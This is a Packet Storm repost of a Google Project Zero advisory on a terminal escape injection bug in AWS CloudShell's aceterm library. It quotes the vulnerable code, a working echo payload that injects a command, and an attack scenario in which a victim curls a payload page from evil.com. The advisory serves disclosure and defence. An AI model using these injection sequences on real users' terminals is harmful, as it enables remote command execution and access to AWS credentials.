what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AWS CloudShell Terminal Escape Injection / Remote Code Execution

AWS CloudShell Terminal Escape Injection / Remote Code Execution
Posted May 10, 2021
Authored by Google Security Research, Felix Wilhelm

The javascript terminal emulator used by AWS CloudShell handles certain terminal escape codes incorrectly. This can lead to remote code execution if attacker controlled data is displayed in a CloudShell instance.

tags | exploit, remote, javascript, code execution
SHA-256 | f02320214893002ab2b97694c08e9e2330bbb20f2f2bada5f83933c577f951ef

AWS CloudShell Terminal Escape Injection / Remote Code Execution

Change Mirror Download
Terminal escape injection in AWS CloudShell

The javascript terminal emulator used by AWS CloudShell handles certain terminal escape
codes incorrectly. This can lead to remote code execution if attacker controlled data is
displayed in a CloudShell instance.

The bug is in the handling of DCS escape codes by the aceterm library:
//https://github.com/c9/core/blob/master/plugins/c9.ide.terminal/aceterm/libterm.js#L1276
// Request Termcap/Terminfo String (xterm, experimental)
// Regular xterm does not even respond to this sequence.
// This can cause a small glitch in vim.
// test: echo -ne '\\eP+q6b64\\e\\\\'
case '+q':
var pt = this.currentParam
, valid = false;

this.send('\\x1bP' + +valid + '+r' + pt + '\\x1b\\\\');
break;


this.currentParam contains the arbitrary substring that follows the \"\\eP+q\" escape code.
this.send() passes its argument to the terminal input handler. This can be used to
execute arbitrary commands by putting a multiline string into this.currentParam.

It's trivial to trigger the bug using echo, printing the string '\\eP+q\
whoami\
\\e\\\\',
will trigger execution of the whoami command:

[cloudshell-user@ip-10-0-163-85 ~]$ echo -ne '\\eP+q\
whoami\
\\e\\\\'
[cloudshell-user@ip-10-0-163-85 ~]$
[cloudshell-user@ip-10-0-163-85 ~]$ whoami
cloudshell-user
[cloudshell-user@ip-10-0-163-85 ~]$


A potential attack scenario would be to trick someone into accessing a malicious web
service using a tool like curl:

attacker:
- echo -e \"echo -ne \"abcdef\\x1bP+q\
touch /tmp/foo\
\\x1b\
\"\" > index.html

victim: (using AWS CloudShell)
- curl http://evil.com/index.html

This will create the file /tmp/foo on the victim machine.

If AWS CloudShell is used to ssh into (potentially compromised) EC2 VMs or to view log
files that contain attacker controlled payloads, similar attacks are possible.

As CloudShell has full access to the credentials used for the management console login,
exploiting this vulnerability can give an attacker a very powerful entry point to an AWS
environment.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report
will become visible to the public. The scheduled disclosure date is 2021-05-09.
Disclosure at an earlier date is also possible if agreed upon by all parties.

Please credit Felix Wilhelm of Google Project Zero in all releases, patches and
advisories related to this issue.




Found by: fwilhelm@google.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close